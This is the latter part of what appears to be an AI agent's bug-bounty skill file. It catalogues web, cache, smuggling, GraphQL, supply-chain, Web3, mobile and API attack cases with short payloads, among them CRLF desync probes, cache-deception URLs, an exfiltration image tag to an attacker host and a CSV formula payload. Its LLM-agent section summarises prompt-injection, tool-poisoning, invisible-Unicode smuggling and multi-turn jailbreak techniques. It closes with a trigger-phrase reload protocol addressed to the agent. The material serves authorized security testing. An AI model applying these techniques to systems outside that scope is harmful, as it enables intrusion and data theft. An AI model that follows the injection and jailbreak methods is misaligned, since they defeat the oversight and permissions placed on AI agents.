  4. Cross-object reference confusion (Zomato #938021/#1408782, Reddit #1213765) — random wallet_id avails Gold; arbitrary-amount crediting; cheaper coin-purchase price via ID swap. Every "wallet/subscription/product identifier" is an object-reference boundary — fuzz with foreign IDs. https://hackerone.com/reports/938021
  5. Client-side role cookie — server asked the BROWSER Admin=false → flip to true → full admin panel. Any authorization bit stored client-side (cookie/localStorage/JWT claim) is attacker-writable. https://freedium-mirror.cfd/https://medium.com/p/6bf2988c28e7
  6. JS-bundle route mining (Bugcrowd P3, 2026) — bundles contain full role/route maps; /Account/UpdatePwd?username= unauthenticated returned differential responses → user enumeration, paid P3. Build the authorization matrix from JS before sending anything. https://freedium-mirror.cfd/https://medium.com/p/dfde602843bf
  7. Test-mode gateways in prod (2026 cheap criticals) — Creem test-mode payment bypass + Stripe token inflation on New-API deployments; probe every *test* gateway mode before deep logic work. https://github.com/Smith-106/newapi-payment_exploit
  8. CI/workflow identity trust (GitLab #894569, $12,000) — pipeline jobs ran as arbitrary user: workflow actions inherit identity from the REQUESTER context — mutate actor fields in job-trigger requests. https://hackerone.com/reports/894569
  9. Authn-instead-of-authz fixes (Peloton saga) — first fix added login, not authorization: any of 3M users still read anyone's data. After every "fixed" report, re-test with ANY valid low-priv account. https://freedium-mirror.cfd/https://medium.com/p/714b8b70116e
  10. Verbose-error seeding (reliable P3) — malformed params → JSON errors leaking SQLSTATE[42S22], backend paths, line numbers; screenshot the error JSON — it seeds the real bug. https://freedium-mirror.cfd/https://medium.com/p/65fa5cc74a12

13.10 Headers / Cache / CORS (10 cases)

  1. CRLF-powered desync (PortSwigger, Nov 2026) — header injection is severely underestimated: locate where path-injected CRLF lands upstream with the dual-Host probe (GET /%0d%0aHost:%20x%0d%0a%0d%0a → 400 = injection sits AFTER upstream Host), then prove desync by request splitting. A "harmless" header-injection Low becomes Critical. https://portswigger.net/research/making-http-header-injection-critical-with-one-prompt
  2. HTTP/1.1 must die (DEF CON 33, Aug 2025) — 0.CL (zero-length Content-Length) + Expect-based desync as NAMED new classes; "critical bugs subverting core infrastructure within multiple CDNs". Treat every upstream H1 hop as desync-exploitable. https://portswigger.net/research/http1-must-die
  3. Cache-deception parser differential → PII (2026) — cache keys on raw path /api/users/profile%3f%26deneme.webp (static .webp = cacheable), origin normalizes to the authenticated endpoint → victim PII cached publicly. One URL, two parsers, one bounty. https://freedium-mirror.cfd/https://medium.com/p/29ccf97be42f
  4. Percent-encoding variant generator — /%41bout vs /about (2ⁿ variants): one URL → many responses = poisoning-prone; many URLs → one response = deception-prone. Variants are simultaneously cache busters, deception keys, and poisoning keys. https://freedium-mirror.cfd/https://medium.com/p/bc7bfa7bbc43
  5. Wildcard cache deception → ChatGPT ATO (2024) — https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123: CDN sees /share/… (cacheable), origin decodes+normalizes to /api/auth/session → victim's auth token publicly cached. https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html
  6. SvelteSpill (2026) — framework (SvelteKit) + host (Vercel) disagree on route identity → every authenticated route deception-cacheable. Test framework+CDN as a single unit. https://www.aikido.dev/blog/sveltespill-cache-deception-sveltekit-vercel
  7. Duplicate Host headers still poison — Host: victim.com + Host: attacker with ?cb= busters rewrites cached JS resource URLs; misses on 1st request, hit (poisoned) on 2nd/3rd. https://freedium-mirror.cfd/https://medium.com/p/f42510592097
  8. Standing header payouts — Shopify partners X-Forwarded-Host reflection ($1,000) • Enjin Host-header injection → password-reset poisoning → ATO (High) • Shopify CDN DoS via poisoned shared keys ($3,800). https://hackerone.com/reports/977851 • https://hackerone.com/reports/1623672 • https://hackerone.com/reports/1695604
  9. CORS reporting discipline (2025–2026) — automate the reflect-any-origin / prefix-suffix / null-origin triad (CORScanner, corsbuster) and report ONLY with a working cross-origin read PoC. https://github.com/davidoberst/CVE-2025-50579-CORS-Misconfiguration-Exploit
  10. Cache primitives are decisive — any cacheable authenticated response = ATO chain; cache deception is the discovery tool for poisoning vectors. https://portswigger.net/research/gotta-cache-em-all

13.11 GraphQL / REST / WebSocket (11 cases)

  1. Undocumented GraphQL endpoints (banking-as-a-service) — client env.js leaked internal endpoint naming (live-partner, live-exposed-internal) → pattern-guess live-unauthenticated/graphql → existed with 7× the documented surface; one query returned founders' names, birth dates, HOME ADDRESSES for any SIREN, unauthenticated. Mine env.js for sibling GraphQL surfaces. https://freedium-mirror.cfd/https://medium.com/p/8536b9dd0ec1
  2. Introspection-off recovery (2026 guide) — __type(name:"Query") often passes while __schema is blocked; field suggestions + JS-fragment reassembly next. The verbs in operation names are the testing checklist. https://freedium-mirror.cfd/https://medium.com/p/ceda3c5592b5
  3. Cross-tenant resolver gaps — revokeScope(input:{userId, scopeName}) trusted caller-supplied userId; same-tenant got checked, cross-tenant skipped entirely (HTTP 200 + persisted write). Sibling grantRole/revokeRole were gated — resolver-family inconsistency is the tell. https://freedium-mirror.cfd/https://medium.com/p/55c8488a232f
  4. Enum downgrades (WPGraphQL CVE) — status: TRASH mapped to edit_posts instead of edit_others_posts → any Author reads everyone's trashed content. Enumerate EVERY enum value in GraphQL filters and diff required capabilities. https://freedium-mirror.cfd/https://medium.com/p/3a7cbe266890
  5. Paid no-introspection IDORs — Shopify BillDetails/BillingDocumentDownload ($5,000), TikTok AddRulesToPixelEvents cross-advertiser (High), Stripe cross-tenant Atlas write (High) — authz lives in resolvers, not the schema. https://hackerone.com/reports/2207248
  6. REST field-expansion boundary bugs (SCF 6.9.6) — ?acf_format=standard expanded referenced posts after checking only "published" status → serialized plaintext post_password. Permission checks must validate the REFERENCED object's specific protection. https://freedium-mirror.cfd/https://medium.com/p/5c12952970d2
  7. GraphQL per-field authz (Beam Living, 2026) — BOLA/BFLA exposing last-4 SSN, credit scores, DOB, addresses; object-level checks don't survive resolver reuse. https://alexschapiro.com/security/vulnerability/2026/07/16/beam-living-graphql-data-exposure
  8. Zero-token GET discipline — the most skipped basic check; unauthenticated GET /stats/workout/details-style endpoints still ship (Peloton triple-surface case). https://freedium-mirror.cfd/https://medium.com/p/714b8b70116e
  9. WebSocket rooms = BOLA by design — integer rid=6 → rid=3 reads foreign chat; enforce membership per-message, not at subscribe (HTB OnlyHacks + PortSwigger WS labs writeups). https://github.com/vgod-sec/wsa-websocket-labs-writeup
  10. CSWSH — test cross-site WebSocket hijacking with a cross-origin handshake page; replay WS frames in Repeater like HTTP bodies. https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine
  11. Three-request IDOR harness — capture-as-A → replay-as-A → replay-as-B; standardize it so every endpoint gets the same access-control diff. https://freedium-mirror.cfd/https://medium.com/p/aaf30335f3d2

13.12 RARE & EXOTIC ARSENAL (the 2024–2026 crown jewel — 16 sub-classes)

A. Request Smuggling / Desync (5)

  1. 0.CL + Expect-based desync (PortSwigger/DEF CON 33, 2025) — zero-length Content-Length and Expect:-based desync named as new classes; "critical bugs subverting core infrastructure within multiple CDNs" (tens of millions of sites). https://portswigger.net/research/http1-must-die
  2. Browser-powered desync — client-side desync + pause-based desync: the VICTIM's browser is the smuggling engine (cross-origin fetch desyncs per-connection state, hijacks subsequent requests). https://portswigger.net/research/browser-powered-desync-attacks
  3. CRLF-powered desync ("beheading HTTP streams", Aug 2026) — request header injection → HTTP request splitting → full desync; detection probe: GET /%0d%0aHost:%20x%0d%0a%0d%0a → 400 = injection lands in a custom header after upstream Host. https://portswigger.net/research/crlf-powered-desync-attacks
  4. One space desyncs a platform (Discord media proxy) — %20 re-emitted into the upstream request line → invalid request → premature termination → desync on GCS upstream. Fuzz off-nominal bytes in path segments that proxies re-emit upstream. https://tmctmt.com/posts/http-desync-in-discord/
  5. H2-only differential canon — HPACK/binary layer kills CL.TE quirks → hunt H2-specific parse differentials between front-end and H1 back-ends. https://portswigger.net/research/http2

B. Web Cache Poisoning / Deception (4)

  1. Gotta cache 'em all (2024) — CDN-vs-origin URL discrepancies systematized into Arbitrary Web Cache Deception + Arbitrary Web Cache Poisoning with tier targeting ("Cache-What-Where"). https://portswigger.net/research/gotta-cache-em-all
  2. Web Cache Entanglement (the reference) — remotely probe cache-key elements (headers, cookies, scheme, port, normalization) and chain discrepancies; Fat GET and parameter cloaking live here. https://portswigger.net/research/web-cache-entanglement
  3. Wildcard path confusion → ChatGPT ATO — /share/%2F..%2Fapi/auth/session (case in §13.10.5) — the single highest-impact cache-deception template of the decade. https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html
  4. Framework×host route confusion (SvelteSpill, 2026) — SvelteKit+Vercel disagreed on route identity → all authenticated routes deception-cacheable. https://www.aikido.dev/blog/sveltespill-cache-deception-sveltekit-vercel

C. Prototype Pollution (4)

  1. Langfuse PP → RCE (2026) — authenticated OpenTelemetry trace attribute KEY pollutes Object.prototype process-wide → worker corruption → cross-project trace leak; notification race upgrades to RCE. Any attacker-controlled KEY (trace attributes, config keys) is a PP sink — then look for an async/race gadget. https://aisafe.io/blog/traces-of-rce-exploiting-langfuse-prototype-pollution
  2. Client-side PP gadgets — DOM Invader CSPP + gadget catalog converting pollution into DOM XSS across popular libraries; never report CSPP unexploited. https://portswigger.net/research/widespread-prototype-pollution-gadgets
  3. SSPP black-box without DoS — non-destructive probes + Node gadget chains that don't need filesystem gadgets; canonical sink list: https://portswigger.net/research/server-side-prototype-pollution • https://github.com/BlackFan/client-side-prototype-pollution
  4. PP as a browser-app primitive (2026) — Adobe Acrobat zero-day CVE-2026-34621 actively exploited — PP is no longer just a Node bug.

D. XS-Leaks (2)

  1. XS-Leaks Wiki — the taxonomy: XS-Search, frame counting, error events, navigations, cache probing, postMessage breadth, timing/connection-pool/CSS — with defenses (COOP/CORP, Fetch Metadata). When an endpoint is same-origin-only, hunt an oracle from this taxonomy. https://xsleaks.dev/
  2. Focus-based ID leak — URL-fragment #id scroll/focus behavior leaks element IDs (tokens/usernames) cross-origin by observing focus changes. https://portswigger.net/research/xs-leak-leaking-ids-using-focus

E. CSP Bypass (3)

  1. Form hijacking (2024) — hijacking form actions steals passwords under strict CSP without ANY script violation; audit CSP-protected pages for hijackable forms. https://portswigger.net/research/using-form-hijacking-to-bypass-csp
  2. Nonce-based CSP hunting — dynamic analysis for nonce-consuming gadget sinks where attacker input reaches whitelisted script context. https://portswigger.net/research/hunting-nonce-based-csp-bypasses-with-dynamic-analysis
  3. Script gadgets (the lineage) — framework client-side template sinks re-create XSS from harmless HTML even when CSP blocks inline script; exfil without bypassing CSP: https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

F. postMessage (1)

  1. DOM Invader web-message detection — wildcard targets + origin-validation failures → cross-domain credential theft; in every addEventListener("message") check origin validation AND how the handler routes JSON.parse(event.data). Iconic case: Slack token theft via wildcard postMessage (labs.detectify.com, 2017). https://portswigger.net/research/detecting-web-message-misconfigurations-for-cross-domain-credential-theft

G. Localhost / 0.0.0.0-Day (1)

  1. 0.0.0.0 Day (Oligo, 2024) — inconsistent browser security let public sites reach services bound to all interfaces (dev servers, Ray, local APIs) → RCE; tied to in-the-wild ShadowRay exploitation. Assume nothing validates 0.0.0.0. https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser

H. Cookie Attacks (4)

  1. Cookie Chaos — `__Host-`/`__Secure-` prefix bypass (Sept 2025) — browser-vs-server cookie-parser discrepancies with UNICODE WHITESPACE let attacker-settable look-alike cookies overwrite prefix-protected ones. Never trust name prefixes for security. https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes
  2. Cookie sandwich — HttpOnly theft (Jan 2025) — position crafted cookies around the HttpOnly target in the jar so server echo/ordering leaks it; builds on the phantom $Version RFC 2965 quirk. https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
  3. Cross-device session fixation (2025) — QR-code/device-linking flows hand sessions across devices: fixate the PRE-AUTH session; fixation is alive outside URL rewriting. https://danielfett.de/2025/03/10/cross-device-session-fixation/
  4. Crates.io session incident — improperly stored session cookies enabled account impersonation until revocation. https://blog.rust-lang.org/2025/04/11/crates-io-security-session-cookies.html

I. Parser Differentials (6 — THE pattern of the era)

  1. SAML roulette (March 2025) — ruby-saml validates the signature with REXML then reads attributes with Nokogiri → XML round-trip mutation between parses → UNAUTHENTICATED ADMIN on GitLab Enterprise. Anywhere signature-validation and attribute-consumption use different parsers, hunt round-trip mutations. https://portswigger.net/research/saml-roulette-the-hacker-always-wins
  2. The Fragile Lock (Dec 2025) — second-generation SAML bypasses; audit the full parse→validate→consume pipeline of every IdP library. https://portswigger.net/research/the-fragile-lock
  3. Splitting the email atom (2024) — sites parse email addresses to INFER org/domain for access control; parser-confusion chars (+, quotes, @ duplication, encoding) flip the derived tenant. https://portswigger.net/research/splitting-the-email-atom
  4. Unicode overflow (Jan 2025) — a multi-byte char stored into one byte produces chosen ASCII (low byte 0x41 = A): pre-encode attacks so the overflow PRODUCES your target byte after the blocklist. https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows
  5. URL-credential concealment + validator bypass — payloads hidden in the invisible userinfo segment; new IP-encoding payload families. https://portswigger.net/research/concealing-payloads-in-url-credentials • https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
  6. Fickle PDFs (2024) — one PDF renders different content in Safari/Preview vs other engines (CEO-fraud differential). https://portswigger.net/research/fickle-pdfs

J. Supply Chain (4)

  1. Shai-Hulud npm worm (waves Sept + Nov 2025 → 2026) — self-replicating worm: post-install scripts harvest secrets and exfiltrate via attacker-controlled PUBLIC GitHub repos (CrowdStrike, Zapier, ENS; 100→300+ packages). Treat post-install scripts as untrusted code. https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack • https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains
  2. axios compromise via maintainer spear-phishing (2026) — targeted social engineering → RAT-dropping versions. The npm top-of-funnel is now personalized phishing, not typo-squatting. https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
  3. polyfill.io domain takeover (2024) — beloved JS CDN sold to a malicious operator serving injected JS to ~100K sites: third-party <script src> domains are kill-chains, not features — inventory and self-host. https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet
  4. xz backdoor + dependency confusion recon (Netflix, 2025) — hunt internal package names in shipped JS/HAR artifacts before anyone else; demand build reproducibility. https://www.landh.tech/blog/20250610-netflix-vulnerability-dependency-confusion/

K. DNS Rebinding (2)

  1. Split-second rebinding (IPv6 era) — IPv6 multiple-answer tricks win the TTL race in Chrome/Safari AND bypass Chromium local-network fetch restrictions (PNA). https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari
  2. AI-service targets — Ollama rebinding CVE-2024-28224 (model exfil) → Ray browser-driven RCE (CVE-2025-62593) → Google MCP Toolbox SSRF CVE-2026-14540: agent-local services are the new rebinding prey. https://github.com/ollama/ollama/security/advisories/GHSA-9247-7gjr-9gpc

L. PDF / Font / File-Format (3)

  1. Portable Data exFiltration — a single attacker-controlled hyperlink in HTML→PDF pipelines becomes embedded JS/exfil + blind SSRF from the renderer. https://portswigger.net/research/portable-data-exfiltration
  2. Inject My PDF — LLM-era PDF prompt injection (resume that instructs the parser). https://kai-greshake.de/posts/inject-my-pdf/
  3. FreeType CVE-2025-27363 (actively exploited) — OOB write parsing TrueType GX variable-font subglyphs (signed-short→unsigned-long) = RCE-by-font-file. Font files are code. https://nvd.nist.gov/vuln/detail/CVE-2025-27363

M. CSV / Formula Injection (1)

  1. Formula-lead discipline — =cmd|'/c calc'!A1 family: prefix-escape every export cell starting with = + - @ \t \r; the export sink executes on someone else's laptop. http://georgemauer.net/2017/10/07/csv-injection.html

N. Service Workers / WebSocket Mass-Scale (2)

  1. Service-worker hijack via DOM clobbering — document.getElementById quirk + clobbered globals → attacker SW script = persistence. https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
  2. WebSocket Turbo Intruder (Sept 2025) — mass-scale WS attack tooling: WebSockets get a fraction of HTTP's fuzzing budgets — run high-rate connection-aware WS scans. https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine

O. Header-Trust Telemetry / HTTP Clients (2)

  1. 127.0.0.1 in eight headers (honeypot telemetry, 2026) — attacker farms spray ALL forwarding headers (x-forwarded-for, x-real-ip, x-client-ip, true-client-ip, x-originating-ip, client-ip, x-forwarded-host, forwarded) since they can't know which one the target trusts. https://honeylabs.net/blog/what-attackers-hide-in-forwarding-headers
  2. undici advisory cluster (Oct–Nov 2026) — cross-user cache disclosure via redirects, credential stripping bypass via array-of-tuples headers, cache poisoning via redirect hops + form-data CVE-2025-7783 (multipart boundary entropy → HPP). HTTP client libraries are desync/redirect/entropy-sensitive — pin versions. https://github.com/nodejs/undici/security/advisories

P. Genuinely Rare (3)

  1. CSS: the bomb inside your inbox (Aug 2026) — email-CSS attacks break webmail defenses to steal passwords/tokens (attribute-substring selectors, exfil-capable properties). https://portswigger.net/research/css-the-bomb-inside-your-inbox
  2. RIPE NCC RPKI chain (2026) — DNS-record-driven XSS (payload in reverse-DNS/TXT surfaced by dashboards) → shared session cookie + missing CSRF → authenticated routing-configuration changes. DNS-sourced strings are attacker-controlled input to web apps. https://mxsasha.eu/posts/ripe-ncc-rpki-exploit-chain/
  3. Email trust-chain abuse — subdomain SPF/DMARC asymmetries, Direct Send internal phishing (M365), calendar-invite prompt injection (Gemini), HTML injection in device-metadata fields (Robinhood phishing). https://www.proofpoint.com/us/blog/threat-insight/exploiting-direct-send-attackers-abuse-microsoft-365-internal-phishing

Field patterns (rare/exotic 2024–2026): every flagship bug is a parser differential — always ask "which two parsers see this value?" • exploit the enforcement layer (cookie prefixes, middleware, CSP, SAML), not the app • off-nominal characters beat sophisticated payloads (one space desynced Discord; %2F..%2F took ChatGPT) • client-side is the desync frontier • any cacheable authenticated response = ATO • one library gadget = thousands of victims • redirect handling in HTTP clients is a recurring hole • Unicode is a permanent bypass primitive • localhost/agent services are the browser's soft underbelly • chain low-severity primitives into infrastructure takeover.

13.13 LLM / AI Agents (12 cases — 2024–2026 is the era of "the agent is the payload")

  1. GitHub Copilot RCE via prompt injection (CVE-2025-53773) — injection planted in source/web page/issue writes "chat.tools.autoApprove": true into .vscode/settings.json (workspace-trusted) → agent silently enables YOLO mode on itself. Check whether the agent can edit the config governing its own permissions. https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/
  2. MCP tool poisoning (Invariant Labs) — hidden instructions inside tool DESCRIPTIONS exfiltrate SSH keys via other tools and override trusted servers' instructions; confirmation UIs show only summarized names. Tool descriptions are attacker-controlled text read by the model, not shown to the user. https://invariantlabs.ai/blog/mcp-security-notification
  3. GitLab Duo → source-code theft — cross-project injection via public comments with Base16/Unicode/KaTeX evasion; async streaming markdown rendered <img src="https://attacker/?d=<code>"> → zero-click exfil of a private project. "LLM renders markdown as HTML in a trusted origin" is a reliable exfil channel. https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo
  4. M365 Copilot exfil chain (2024) — injection → automatic tool invocation ("search emails for MFA codes") → ASCII-smuggling staging (Unicode Tags U+E0000) → rendered hyperlink out. Chain content-triggered tool calls with invisible-Unicode staging. https://embracethered.com/blog/posts/2024/m365-copilot-prompt-injection-tool-invocation-and-data-exfil-using-ascii-smuggling/
  5. Invisible-character classes evolve (2025) — Tags → Variation Selectors → ANSI escape sequences; LLMs both interpret AND emit them. Filter on invisible-codepoint CLASSES, not single tricks. https://embracethered.com/blog/posts/2025/sneaky-bits-and-ascii-smuggler/
  6. In-the-wild web injection taxonomy (Unit 42, 2026) — first large-scale telemetry of live indirect injection: 22 distinct payload-engineering techniques; page summarization is the most abused feature. https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/
  7. AGENTS.md is an executable (2026, in the wild) — malicious AGENTS.md delivered into the Downloads folder; Codex/Claude Code ingest it → agent rewrites its own config → malware install or token theft. Treat agent-instruction files from the web as untrusted executables. https://forever.security/blog/hijacking-ai-agents-via-downloads-folder/
  8. Tool-selection poisoning (2026) — attacker server returns a FAKE refusal keyed to Claude Code's fetch-tool UA → model falls back to curl as "alternative tool", defeating egress scoping; payload hidden in ~20K lines of double-base64 → RCE in YOLO mode. Poison tool-selection logic, not just prompts. https://veganmosfet.codeberg.page/posts/2026-07-27-opus5/
  9. Copilot CLI "zombie instructions" (2026) — encoded instructions on crafted web pages make the CLI exfiltrate developer secrets; GitHub responded by forbidding Plan-Mode file edits. Deny secret-read and file-write in investigation modes. https://www.infoworld.com/article/4231775/encrypted-instructions-trick-copilot-cli-into-spilling-developer-secrets.html
  10. Crescendo multi-turn jailbreak — start benign, ask the model to continue/transform its own outputs, escalate per turn; per-turn classifiers see only benign deltas. Replay escalation ladders on multi-turn targets. https://crescendo-the-multiturn-jailbreak.github.io/
  11. Cross-tenant RAG leakage (Slack AI) — content planted by another user surfaces in victims' retrieval summaries → private-channel exfil. Test whether attacker-plantable content reaches victim-visible retrieval. https://promptarmor.substack.com/
  12. Bulk corpus — Embrace The Red sitemap holds the densest agentic-abuse archive (Amazon Q RCE, Google Jules RCE, Windsurf spAIware, AgentHopper virus, cross-agent privilege escalation, TOCTOU agent, LiteLLM hijack, EchoLeak CVE-2025-32711 zero-click M365 Copilot exfil): https://embracethered.com/blog/

Field patterns: the lethal trifecta (private data + untrusted content + outward comms) decides severity • invisible Unicode is the standard staging layer • agents self-escalate via configs they can edit • instruction files are executables • MCP descriptions hide from confirmation UIs • in-the-wild exploitation is confirmed — this is bounty-relevant, and legal consequences for planters started (Brazil court sanction, 2026).

13.14 Web3 / Smart Contracts (8 cases)

  1. Cetus — $223M integer overflow (May 2025) — microscopic CLMM tick range (200 ticks) exploded liquidity via checked_shlw in an out-of-audit-scope library; flash loan 56,700 SUI → mint huge position for pocket change → double withdrawal. Fuzz overflow guards on the ACTUAL liquidity-math path. https://rekt.news/cetus-rekt
  2. Balancer — $100M+ rounding direction (Nov 2025) — long-dormant precision-loss bug drained nine chains; "rounding must favor the protocol" is no longer sufficient — test BOTH rounding directions per operation incl. tiny-liquidity/max-ratio edges. https://blog.trailofbits.com/2025/11/07/balancer-hack-analysis-and-guidance-for-the-defi-ecosystem/
  3. ResupplyFi — $9.8M one-wei ERC-4626 inflation (Jun 2025) — flash-loan → donate 2,000 crvUSD → mint 1 wei of shares → exchange rate 1e36/oracle.getPrices() floors to zero → total accounting break. Test fresh/empty vaults at wei scale. https://www.quantumloom.in/blog/resupplyfi-vault-exploit
  4. DeFiHackLabs (the PoC library) — Foundry reproductions "to the wei" with tx hashes; 2026 entries include Argent smart-wallet signature replay (nonces never consumed, deadline unchecked) and SliceFundsModule crediting caller-supplied deposits without balance verification; 2025: AnyswapWETHPermit validation bypass, MetaPool infinite mint via unvalidated ERC-4626, Moonwell faulty oracle, DRLVaultV3 price manipulation. https://github.com/SunWeb3Sec/DeFiHackLabs
  5. Abracadabra repeat-victim pattern — Jan 2024 spell bug ($6.4M) → Mar 2025 flash-loan theft ($13M) → Oct 2025 MIMSpell3 insolvency-check bypass: map a protocol's incident history — patched surfaces get re-broken at the same trust boundary. https://www.halborn.com/blog/post/explained-the-abracadabra-hack-october-2025
  6. Bybit $1.5B (Feb 2025) — the year's biggest loss was signer/UI compromise (phishing), NOT contract math — signing infrastructure is part of the attack surface. https://github.com/SunWeb3Sec/DeFiHackLabs (entry 20250221)
  7. AI agents find $4.6M autonomously (Anthropic SCONE-bench, Dec 2025) — agentic LLMs found novel profitable exploits (e.g. public "calculator" missing the view modifier skewing rewards). Assume automated discovery of revenue-extractable logic bugs. https://red.anthropic.com/2025/smart-contracts/
  8. Oracle manipulation diversified (2025–2026) — fake-token price feeds (Rhea/NEAR $7.6M), flash-loan spot manipulation (ImpermaxV3), faulty oracles (Moonwell), vault-price exploits (Summer.fi $6M) — price-manipulation remains the top manipulative-pricing vector.

13.15 Mobile (6 cases)

  1. Third-party SDK = fleet-wide exposure (EngageLab, Apr 2026) — intent-redirection flaw in a push-notification SDK exposed ~50M Android users incl. ~30M crypto-wallet installs. Audit bundled SDKs for exported/intent-redirecting components FIRST. https://www.techrepublic.com/article/news-engagelab-sdk-android-vulnerability-malware-bridge/
  2. Frida CodeShare = commoditized bypass — universal SSL-pinning bypass, multi-unpinning, root/detection bypass: load them first and log which hooks fire — the fired-hook list IS the app's protection inventory. https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/
  3. MASTG anchoring — map every finding to a MASTG technique ID for reproducibility as the guide evolves. https://mas.owasp.org/MASTG/
  4. Pwn2Own Ireland 2025 — 34 zero-days day one; the ZDI day-by-day posts are the highest-signal free mobile exploitation corpus each year. https://www.thezdi.com/blog/2025/10/22/pwn2own-ireland-2025-day-two-results
  5. Banking trojans target the session layer — Sturnus (WhatsApp/Telegram/Signal surfaces via accessibility abuse), ToxicPanda: notification/accessibility surfaces belong in threat models. https://www.bleepingcomputer.com/news/security/multi-threat-android-malware-sturnus-steals-signal-whatsapp-messages/
  6. Authenticator apps are targets now — Microsoft Authenticator login-code leakage (2026): MFA surfaces get their own bug class. https://www.malwarebytes.com/blog/news/2026/03/microsoft-authenticator-could-leak-login-codes-update-your-app-now

13.16 Modern API Attack Surface (10 cases)

  1. Missing authentication is now #1 (17% of 2025 incidents, up from #5) — Intel getAccessToken returning valid tokens with NO authentication; UK healthcare patient data via unauthenticated API. Test the no-credentials path FIRST on every API. https://apisecurity.io/issue-286-the-apisecurity-io-top-5-api-vulnerabilities-in-2025/
  2. OWASP Top 10 2025 shift — Security Misconfiguration jumped #5→#2: budget test time for dev endpoints, verbose errors, CORS, stray spec files as aggressively as authz logic. https://apisecurity.io/issue-284-owasp-top-10-2025-chatgpts-api-flaw-bola-at-mercury-energy-nz-leaky-ai-companies/
  3. Sequential-ID mass scraping (Trello 15M profiles) — unauthenticated enumeration + pagination ceilings; rate-limit design must be per-object, not per-IP. https://apisecurity.io/issue-240-spoutible-api-leakage-15m-trello-profiles-scraped-api-secret-tokens-leaked/
  4. BOPLA — property-level authz — over-fetching leaks fields object-level checks never see (OneLogin/Entra incidents); diff every response against its documented schema. https://apisecurity.io/issue-281-onelogin-leaks-secrets-cloudflare-api-dos-entra-id-flaw-owasp-bopla-bugs/
  5. Secrets: obfuscated beats raw — encoded/split GitHub PATs inside Facebook's React repo; hunt transformed secrets (base64/hex/split literals), not just key formats. https://medium.com/@hanikhaled876/how-i-found-hardcoded-secrets-in-facebooks-react-repository-ed71a56dfba4
  6. LLM keys are first-class secrets (2026) — GitHub push protection now blocks Anthropic keys by default: include AI-provider key formats in leak hunts. https://github.blog/changelog/2026-10-13-secret-scanning-blocks-anthropic-keys-by-default-adds-salesforce/
  7. Planetary-scale secret scanning — 7.25M repos scanned on one national git platform: regex + entropy + provider validation still pays. https://www.mongodb.com/company/blog/technical/scanning-7-point-25-million-public-repositories-chinas-largest-git-platform-secrets
  8. Collab-tooling token hygiene — Postman workspaces/CI artifacts outlive the credentials stored in them; sweep them. https://apisecurity.io/issue-262-api-incidents-in-invoice-ninja-mcdonalds-truecaller-apps-jetbrains-survey-postman-data-leaks/
  9. Agentic AI as API consumer (2026 theme) — treat AI agents calling your API as unauthenticated hostile clients: per-agent auth, quotas, scopes. https://apisecurity.io/issue-288-42crunch-state-of-api-security-2026-agentic-ai-authentication-bypasses-and-the-race-to-patch/
  10. Third-party API ecosystems leak your users — billion-record leaks come from vendors you don't own; map the vendor graph. https://apisecurity.io/issue-285-api-hack-at-avelo-airlines-3-5-billion-leak-at-whatsapp-f5-api-security-survey-ai-gener/

Closing meta-lessons of the 2024–2026 pass: (1) chains beat primitives — every dollar-paying case above is ≥2 bugs linked; (2) parser differentials are THE recurring root cause; (3) "fixed" is a hypothesis to re-test within days; (4) framework/library internals (middleware headers, schema versions, HTTP clients, template configs) now out-pay app logic; (5) AI-agent plumbing recycles every classic web bug at higher impact — run the full web methodology against agent surfaces.


14) SESSION RELOAD PROTOCOL

If context is lost in a new session and the user writes NULL200OK:

  1. Read this file (ask the user to paste it, or load it from the skills directory).
  2. Original sources for re-sync if network is available:
  • https://github.com/elementalsouls/Claude-BugHunter
  • https://github.com/0xN0RMXL/BugBountySkills
  • https://github.com/awarexone/Agentic-Bug-Hunter
  • https://github.com/murrtada/bug-bounty-agent-skills
  • https://github.com/awarexone/web3-bug-bounty-hunting-ai-skills
  • https://github.com/usestrix/strix
  1. Possible local clones in a working environment: /home/z/my-project/skills-study/ (one folder per repo).
  2. Confirm with: NULL200OK :: SKILL LOADED and begin.

Condensed from 6 repositories (≈ 1,300+ skill files) + a 2024–2026 field-intelligence pass (~150 writeups/PoCs distilled). The doctrine above all: immediate impact or kill the finding; chains pay 3–10x; evidence reproducible by a tired, zero-context triager; the authorized scope is the absolute limit of operation.